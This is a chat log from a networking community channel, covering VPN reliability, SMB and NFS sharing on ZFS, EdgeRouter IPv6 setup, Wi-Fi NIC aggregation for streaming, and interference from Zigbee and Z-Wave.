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https://tenor.com/view/whatever-shrug-idk-i-dont-know-elmo-gif-16565594

Tenor

azure wolf Apr 24, 2021, 8:01 PM

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Used it in the past. Pretty stable but it costs quite a bit more than services like PIA. Torguard connections seem a lot more stable than expressvpn.

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When I used torguard, my dockers could stay connected for months. Switching over to expressvpn and the connections 'die' every week. The VPN connection is still there but DNS resolution stops working and I basically need to restart the VPN connection. I eventually added a cron job to take care of that. For PIA, I am using wireguard instead of openvpn and so far connection seems pretty stable. Only 1 disconnection after a few weeks.

peak cloak Apr 24, 2021, 8:05 PM

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I just don't use vpns

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no need

twin warren Apr 24, 2021, 8:06 PM

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wish I could say the same, but here in 3rd world internet life is geo-restricted 😛

peak cloak Apr 24, 2021, 8:07 PM

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ah, must really be annoying

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stupid geo-locks

twin warren Apr 24, 2021, 8:08 PM

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still, even in more civilized countries, Japanese Netflix is still japanese-only for anime fans 😛

peak cloak Apr 24, 2021, 8:08 PM

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I don't use netflix so it's fine

twin warren Apr 24, 2021, 8:09 PM

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hehe, really ? where do you get your shows craving satisfaction from ?

copper ginkgo Apr 24, 2021, 8:17 PM

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my needs are to just help obfuscate myself from tracking a little more, and to get past the great firewall the next time i go to mainland china

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don't need to use it to access like british netflix or whatever

plain siren Apr 24, 2021, 8:18 PM

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There is a few Russian and Chinese projects on github that are meant just for Great Firewall bypass

copper ginkgo Apr 24, 2021, 8:19 PM

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also another network-related question: can an SMB and NFS share connect to the same pool?

azure wolf Apr 24, 2021, 8:19 PM

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really really not recommended

copper ginkgo Apr 24, 2021, 8:19 PM

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noted lol

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i'll just get my manjaro install to connect with SMB then

plain siren Apr 24, 2021, 8:19 PM

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https://github.com/v3aqb/fwlite

GitHub

v3aqb/fwlite

A anti-censorship HTTP proxy with builtin shadowsocks support. - v3aqb/fwlite

azure wolf Apr 24, 2021, 8:20 PM

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I tried it once on zfs and had weird locking issues

plain siren Apr 24, 2021, 8:20 PM

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NFS Linux Perms take priority

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You have to use ACL to fix the SMB

copper ginkgo Apr 24, 2021, 8:20 PM

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yeah... i'll just use SMB then

azure wolf Apr 24, 2021, 8:20 PM

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esxi mounting the volume as nfs while smb was providing access to some files. It was a locking issue for me, not ACL

copper ginkgo Apr 24, 2021, 8:21 PM

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NAS is shared with other windows PCs and macs

plain siren Apr 24, 2021, 8:21 PM

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azure wolf esxi mounting the volume as nfs while smb was providing access to some files. It...

Tack it on to the long list of conflicts

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If you run a NAS like Synology or QNAP or TrueNAS, itll isolate those issues but if you DIY the NAS, you gotta hand fix it

azure wolf Apr 24, 2021, 8:22 PM

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Just create diff zfs on the pool for the different purposes. It is better anyway. Different block sizes for different use case.

plain siren Apr 24, 2021, 8:22 PM

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I mean, its really not that bad since you just use a softlink to the main root

copper ginkgo Apr 24, 2021, 8:22 PM

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i am on truenas

plain siren Apr 24, 2021, 8:22 PM

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azure wolf Just create diff zfs on the pool for the different purposes. It is better anyway...

Its amazing how few people know of "purpose based" alignment on ZFS

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To me its the best shit ever

azure wolf Apr 24, 2021, 8:22 PM

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🙂

peak cloak Apr 24, 2021, 8:29 PM

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twin warren hehe, really ? where do you get your shows craving satisfaction from ?

I don't

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youtube

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if anything

tender hazel Apr 24, 2021, 8:59 PM

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@peak cloak on the edgerouter X is there a default ipv6 firewall of some kind?

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like what happens if you just enable dhcpv6-pd to get a prefix and stick a /64 on the switch0 interface

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does it work? does it have an ipv6 firewall? if not, is the default to pass all ipv6 traffic or to deny all ipv6 traffic?

peak cloak Apr 24, 2021, 9:00 PM

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tender hazel <@!222482269829332992> on the edgerouter X is there a default ipv6 firewall of s...

default, I don't think so

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I added it manually

peak cloak Apr 24, 2021, 9:01 PM

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tender hazel like what happens if you just enable dhcpv6-pd to get a prefix and stick a /64 o...

no native ipv6 here, going though a tunnel

tender hazel Apr 24, 2021, 9:01 PM

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ok

peak cloak Apr 24, 2021, 9:01 PM

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I know though there are problems with v6 and hardware accelerated nat

tender hazel Apr 24, 2021, 9:01 PM

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but if you don't set up an ipv6 firewall, does it block all ipv6 traffic with no firewall, or does it allow everything through?

peak cloak Apr 24, 2021, 9:01 PM

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that's the reason for hex S

peak cloak Apr 24, 2021, 9:02 PM

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tender hazel but if you don't set up an ipv6 firewall, does it block all ipv6 traffic with no...

no clue

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would have to test

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once I get HEX S I can try that for you

tender hazel Apr 24, 2021, 9:04 PM

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ok

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yeah I was trying to help someone with an edgerouter set up dhcpv6 prefix delegation

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and it isn't doing anything

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and I don't know how to troubleshoot it

peak cloak Apr 24, 2021, 9:05 PM

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tender hazel yeah I was trying to help someone with an edgerouter set up dhcpv6 prefix delega...

lan side?

tender hazel Apr 24, 2021, 9:05 PM

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no.. just getting a /56 prefix from the isp and sticking a /64 from that on switch0

peak cloak Apr 24, 2021, 9:05 PM

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ah

tender hazel Apr 24, 2021, 9:06 PM

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edgerouter doesn't actually have support for being a dhcpv6-pd server I believe

peak cloak Apr 24, 2021, 9:06 PM

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ah I'm confusing dhcpv6-pd and dhcpv6

waxen scroll Apr 24, 2021, 9:06 PM

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edgerouter is just running linux so it supports anything you want

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you get root with no jailbreak

peak cloak Apr 24, 2021, 9:07 PM

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yeah, but then that messes things up

tender hazel Apr 24, 2021, 9:19 PM

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yeah for something like dhcpv6 pd server that integrates so tightly with everything else on the router, you wouldn't want to run that from the command line with some kind of hack

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otherwise you are just asking for things to be unreliable even if it seems to work

green forge Apr 24, 2021, 9:37 PM

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@copper rover hey ill just order a new router, cuz it got bricked.

plain siren Apr 25, 2021, 12:06 AM

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he overclocked it

tender hazel Apr 25, 2021, 12:09 AM

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overclocked it?

plain siren Apr 25, 2021, 12:15 AM

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set the CPU speed and Voltage through NVRAM Settings

tender hazel Apr 25, 2021, 12:28 AM

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why did he/she do that? wasn't computer just trying to apply factory netgear firmware to it?

plain siren Apr 25, 2021, 12:29 AM

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tender hazel why did he/she do that? wasn't computer just trying to apply factory netgear fir...

Digging around with shit he shouldnt

tame carbon Apr 25, 2021, 12:37 AM

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are we still on this overclocking nonsense from yesterday?

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overclocking 1G ethernet KEKW

peak cloak Apr 25, 2021, 12:39 AM

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tame carbon are we still on this overclocking nonsense from yesterday?

Nah, from what I understand it's the guy who wanted to update the isp locked firmware and accidentally overclocked and bricked it

tame carbon Apr 25, 2021, 12:43 AM

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lol wat

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🤣

peak cloak Apr 25, 2021, 12:44 AM

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tame carbon lol wat

#networking message

tame carbon Apr 25, 2021, 12:44 AM

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kek

tender hazel Apr 25, 2021, 12:46 AM

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@tame carbon isn't it the middle of the night there?

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you are either up very late or very early

tame carbon Apr 25, 2021, 12:51 AM

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@tender hazel yeah

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some family things

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intervention and all

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got a bit late

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had to help my little brother out with somethings

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im heading off now

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cya

little schooner Apr 25, 2021, 2:42 AM

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dang.... I am finally getting gigabit speed down and 25 Mbps up from comcast

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I never thought this day would come...

hasty oriole Apr 25, 2021, 4:19 AM

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Sort of a networking question: Can I use two NIC's for streaming on Twitch with only a wifi connection? 1 for my game, and the 2nd for my OBS(set to stream from its IP)
I can't move my PC to the center of my living room, nor can I drill a hole in my apartment for a cat cable, so I'm trying to see what's going wrong with my streams as of late, and so far, it seems to be my internet.

fossil galleon Apr 25, 2021, 4:23 AM

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use networks expansion instead ... like TP-LINK TL-PA4015PKIT

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it use your electric current wire installation to carry network signal.

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or switch your router to wifi6 (gigabit wifi)

thorny vector Apr 25, 2021, 4:27 AM

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hasty oriole Sort of a networking question: Can I use two NIC's for streaming on Twitch with ...

That would be link aggregation, and results wouldn’t be great with 2 WiFi nics. Might even potentially be worse from interference. Using them with 2 separate IP addresses wouldn’t work, windows would default to just using the one with best connection, and it can create a race condition with the networking

tender hazel Apr 25, 2021, 4:28 AM

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there is no point in using two NIC's except for failover

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I mean you could use them for teaming/aggregation but usually it is for failover

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and with wireless there is no real aggregation

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unlike with wired where you can at least aggregate two separate 1Gbps links

thorny vector Apr 25, 2021, 4:29 AM

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False, you can in fact LAGG 2 WiFi nics

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I tried it on a lark, and it “works”

tender hazel Apr 25, 2021, 4:29 AM

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I said what is the point

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you won't get any more bandwidth

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when I said with wireless there is no real aggregation

little schooner Apr 25, 2021, 4:30 AM

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you get more incoming capacity

tender hazel Apr 25, 2021, 4:30 AM

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I meant with wireless you wouldn't get higher speed as a result of aggregation

thorny vector Apr 25, 2021, 4:31 AM

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Could act as an ad-hoc QoS, and give you more priority because you’d have twice the hw addresses

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Probably not enough to justify the mbps/$ ratio

hasty oriole Apr 25, 2021, 4:32 AM

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Not looking to get extra speed, but basically take the load of playing a game and streaming

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Off*

little schooner Apr 25, 2021, 4:32 AM

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@hasty oriole that only works with a faster internet connection

hasty oriole Apr 25, 2021, 4:33 AM

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I have a 360mgps connection, is that fast enough?

little schooner Apr 25, 2021, 4:33 AM

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upload speed, because you stream

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what's the upload

tender hazel Apr 25, 2021, 4:33 AM

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having twice the hw addresses doesn't necessarily give you more priority - it increases the signaling overhead

hasty oriole Apr 25, 2021, 4:33 AM

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About 30-40

tender hazel Apr 25, 2021, 4:33 AM

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and reduces the overall data rate rather than increasing it, most likely

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there is no point in aggregating two wireless links if they share the same AP

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the only way that aggregating two wireless links could potentially improve performance is if they have separate APs

hasty oriole Apr 25, 2021, 4:36 AM

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AP? Access points? (Sorry, still new to networking)

tender hazel Apr 25, 2021, 4:37 AM

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yes

hasty oriole Apr 25, 2021, 4:37 AM

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Ok, so really no point, and will not accomplish what I want it to do

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?

tender hazel Apr 25, 2021, 4:38 AM

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yup, no point, and will not accomplish what you want. You can use other solutions to prioritize certain traffic over a single wireless link

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ex. setting priority for MME

hasty oriole Apr 25, 2021, 4:39 AM

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Could the lag also be my OBS settings?

tender hazel Apr 25, 2021, 4:39 AM

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it is still not perfect, but it will try to prioritize certain traffic over wireless

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are you using the same SSID for 2.4ghz and 5ghz wireless?

little schooner Apr 25, 2021, 4:39 AM

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tender hazel yup, no point, and will not accomplish what you want. You can use other solution...

for this, yeah, their are tools like this https://www.netlimiter.com/

tender hazel Apr 25, 2021, 4:39 AM

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if you are using the same SSID for both it could be that you are connecting via 2.4ghz

little schooner Apr 25, 2021, 4:40 AM

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with a software network limiter, you can limit streaming bandwidth to not be more than what you specify

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so you can still play games without high latency

tender hazel Apr 25, 2021, 4:40 AM

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yes, that is a decent option

hasty oriole Apr 25, 2021, 4:41 AM

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I'll look into, thanks people!

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Such a piss off, i spend $1200 in upgrades and PC goes ass up

tender hazel Apr 25, 2021, 4:42 AM

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if you use the same SSID for 2.4ghz and 5ghz your wireless might be connecting via 2.4ghz when it could easily connect via 5ghz

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same SSID means it is up to your wireless card to decide when to switch between 2.4ghz and 5ghz

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and some wireless cards will stay on 2.4ghz for far too long

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with 2.4ghz wireless you can only get about 50-75Mbps actual performance at the most

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and if you have lots of interference, ex. in an apartment block, 10Mbps actual performance

plain siren Apr 25, 2021, 7:50 AM

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tender hazel and if you have lots of interference, ex. in an apartment block, 10Mbps actual p...

If I lived in an apartment, I would ask to share cost with neighbors and deploy a proper distributed AP layout for everyone, then isolate,

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It annoys me how much we dirty our airspace willingly

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All because "MINE"

tame carbon Apr 25, 2021, 9:52 AM

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@plain siren just use 5GHz.

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Have an AP in the room you want wireless access, 5GHz will give you full speeds

plain siren Apr 25, 2021, 9:53 AM

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Zigbee

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ISM Band Devices

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Etc etc etc

tame carbon Apr 25, 2021, 9:55 AM

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@plain siren Zigbee doesn't interfere with 5GHz.

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Its on the 2.4GHz band

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Z-wave is even lower frequency

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915MHz in US and 868MHz in Europe

plain siren Apr 25, 2021, 9:56 AM

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Im saying Routers fucking with zigbee

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which is actually sometimes an issue

tame carbon Apr 25, 2021, 9:56 AM

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2.4GHz wireless yeah

plain siren Apr 25, 2021, 9:56 AM

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Also Z-Wave is propritary

tame carbon Apr 25, 2021, 9:56 AM

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But 2.4GHz is most crowded band of all

plain siren Apr 25, 2021, 9:56 AM

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Exactly, Im saying we crowd it willingly too

tame carbon Apr 25, 2021, 9:57 AM

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Its used by bluetooth, 802.11 wireless, and 2.454 GHz is your microwave.

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@plain siren then use 5GHz :D

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I get 400mbit/s on that

plain siren Apr 25, 2021, 9:57 AM

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5Ghz is a licensed for specific use band

tame carbon Apr 25, 2021, 9:57 AM

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nope

plain siren Apr 25, 2021, 9:57 AM

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You cant run ISM Self-Isolated devices on 5Ghz

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they are constrained to the 2.4 and lower ISM's

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So community projects like Zigbee

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Are fucked

tame carbon Apr 25, 2021, 9:58 AM

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ISM is just an acronym for a range of bands

plain siren Apr 25, 2021, 9:58 AM

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Yes

tame carbon Apr 25, 2021, 9:58 AM

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And Zigbee is garbage anyways :P

plain siren Apr 25, 2021, 9:58 AM

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So is Z-Wave

tame carbon Apr 25, 2021, 9:58 AM

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propietary crap, has no place on a public bandwidth allocation chart.

plain siren Apr 25, 2021, 9:58 AM

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Zigbee is FOSS

tame carbon Apr 25, 2021, 9:58 AM

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You just said it isn't

plain siren Apr 25, 2021, 9:58 AM

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Z-Wave isnt

tame carbon Apr 25, 2021, 9:59 AM

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Well then, what is your problem lol

plain siren Apr 25, 2021, 9:59 AM

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I use the FOSS shit

tame carbon Apr 25, 2021, 9:59 AM

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IoT devices don't even need a lot of bandwidth

plain siren Apr 25, 2021, 9:59 AM

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And to have Z-wave made things you have to have a cert signed by the Z-Wave alliance

tame carbon Apr 25, 2021, 9:59 AM

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and if you need fast wireless access, use 5GHz instead.

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@plain siren same with the LoRa alliance.

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Another propietary certification

plain siren Apr 25, 2021, 9:59 AM

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At least they have oversight by ITU

tame carbon Apr 25, 2021, 9:59 AM

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yep

plain siren Apr 25, 2021, 10:00 AM

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Z-Wave is Honeywell

tame carbon Apr 25, 2021, 10:00 AM

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KEKW

plain siren Apr 25, 2021, 10:00 AM

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Op? No cert? No workie

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Want one? Its about 20K For Administration and Testing Passes

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Then 50K a year

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200 Per registration for each device

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on top

tame carbon Apr 25, 2021, 10:01 AM

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Then don't use it :P

plain siren Apr 25, 2021, 10:01 AM

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Z-Wave Security? Also prop.

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Zigbee is SSL at least

tame carbon Apr 25, 2021, 10:01 AM

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if I need a WPAN network, I use NRF24

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https://www.nordicsemi.com/Products/Low-power-short-range-wireless/nRF24-series

nRF24 Series - Nordic Semiconductor

nRF24 Series - 2.4 GHz RF System-on-Chip, Transceivers and Audio Streamer

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also operates on the 2.4GHz band

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much higher datarates.

plain siren Apr 25, 2021, 10:01 AM

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IoT devices give a constant stream of data which WiFi really isnt handled for so zigbee is literally +1 to noise floor per device

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Which is really funny

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And Zigbee also cant predict the MIMO of WiFi

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It was an amazing storm of RF Inter-destination air collisions.

tame carbon Apr 25, 2021, 10:03 AM

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sounds more like a zigbee problem :P

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802.11 is just the gatekeeper of 2.4GHz

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it drowns out all.

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@plain siren for permanent IoT @ home I still favor wired protocols over wireless

plain siren Apr 25, 2021, 10:04 AM

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Actually a phillips hue device can RIP a router

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They like to get agressive

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Its funny af

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That being said, IEEE has something in the works

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With the Zigbee workgroup

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MIMO Fair Use Policy that can also interpolate with Zigbee

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Meanwhile Z-Wave is set to lose their band space due to another upcoming remapping of our assignments (which has a whole purpose of alleviating these exact issues so its kinda ironic)

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OMEGALUL

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Open Source Collab has taken a perm foothold in the writing of the future. Proprietary is no longer safe just because they cant be decoded.

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This goes for shit like OS' and Software too

tame carbon Apr 25, 2021, 10:08 AM

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propietary protocols have no place on public allocation charts.

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Except maybe Ku and Xu bands

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but those are military crap anyways, good luck de-allocating those

plain siren Apr 25, 2021, 10:09 AM

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They already offered them 2 times